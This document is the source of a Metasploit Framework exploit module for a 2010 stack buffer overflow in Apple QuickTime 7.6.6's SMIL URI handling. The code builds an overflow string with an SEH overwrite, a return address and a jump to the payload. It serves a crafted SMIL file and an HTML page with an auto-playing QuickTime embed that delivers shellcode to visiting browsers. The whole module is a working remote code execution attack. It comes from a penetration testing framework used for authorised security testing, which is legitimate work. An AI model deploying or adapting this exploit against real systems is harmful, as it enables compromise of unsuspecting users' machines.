CoCalc -- apple_quicktime_smil

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking # needs more testing/targets to be Great
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  include Msf::Exploit::Remote::HttpServer::HTML
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  include Msf::Exploit::Seh
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  # include Msf::Exploit::Remote::BrowserAutopwn
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  # autopwn_info({
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  #  :os_name => OperatingSystems::Match::WINDOWS,
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  #  :javascript => true,
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  #  :rank       => NormalRanking, # reliable memory corruption
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  #  :vuln_test  => nil,
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  # })
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in Apple QuickTime
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          7.6.6. When processing a malformed SMIL uri, a stack-based buffer
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          overflow can occur when logging an error message.
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        },
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        'Author' => [
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          'Krystian Kloskowski', # original discovery
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          'jduck' # Metasploit module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2010-1799' ],
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          [ 'OSVDB', '66636'],
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          [ 'BID', '41962' ],
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          [ 'URL', 'http://web.archive.org/web/20100729143247/http://secunia.com:80/advisories/40729' ],
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          [ 'URL', 'http://support.apple.com/kb/HT4290' ]
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
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        },
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        'Payload' => {
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          'Space' => 640, # 716 - 63 - 8 - 5
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          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          # [ 'Automatic', { } ],
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          [
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            'Apple QuickTime Player 7.6.6',
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            {
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              'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)
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            }
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          ],
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2010-08-12',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def on_request_uri(client, request)
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    return if ((p = regenerate_payload(client)) == nil)
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    if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)
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      print_status("Sending exploit SMIL (target: #{target.name})")
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      # This is all basically filler on the browser target because we can't
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      # expect the SEH to be in a reliable place across multiple browsers.
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      # Heap spray ftw.
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      off = 716
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      start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"
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      scheme = rand_text_alphanumeric(5)
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      sploit = ''
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      sploit << scheme
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      sploit << "://"
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      # payload
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      sploit << p.encoded
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      # pad to SEH
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      sploit << rand_text_english(off - sploit.length - start.length)
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      # seh frame
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      sploit << generate_seh_record(target.ret)
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      # jmp back to payload
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      distance = off + 8 - (8 + start.length)
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      sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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      # force exception while writing
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      sploit << rand_text(1024) * 15
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      smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">
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<body>
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<img src="#{sploit}" />
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</body>
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</smil>
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|
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      send_response(client, smil, { 'Content-Type' => "application/smil" })
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    else
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      print_status("Sending initial HTML")
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      shellcode = Rex::Text.to_unescape(p.encoded)
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      url = ((datastore['SSL']) ? "https://" : "http://")
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      url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
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      url << ":" + datastore['SRVPORT'].to_s
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      url << get_resource
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      fname = rand_text_alphanumeric(4)
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      content = "<html><body>"
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      content << <<-ENDEMBED
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          <OBJECT
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          CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
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          WIDTH="1"
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          HEIGHT="1"
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          CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
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          <PARAM name="SRC"        VALUE = "#{url}/#{fname}.smil">
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          <PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.smil">
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          <PARAM name="AUTOPLAY"   VALUE = "true"               >
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          <PARAM name="TYPE"       VALUE = "video/quicktime"    >
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          <PARAM name="TARGET"     VALUE = "myself"             >
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          <EMBED
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            SRC        = "#{url}/#{fname}.qtl"
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            QTSRC      = "#{url}/#{fname}.qtl"
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            TARGET     = "myself"
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            WIDTH      = "1"
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            HEIGHT     = "1"
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            AUTOPLAY   = "true"
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            PLUGIN     = "quicktimeplugin"
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            TYPE       = "video/quicktime"
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            CACHE      = "false"
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            PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
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          </EMBED>
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          </OBJECT>
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      ENDEMBED
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      content << "</body></html>"
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      send_response(client, content, { 'Content-Type' => "text/html" })
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    end
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    # Handle the payload
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    handler(client)
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  end
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end
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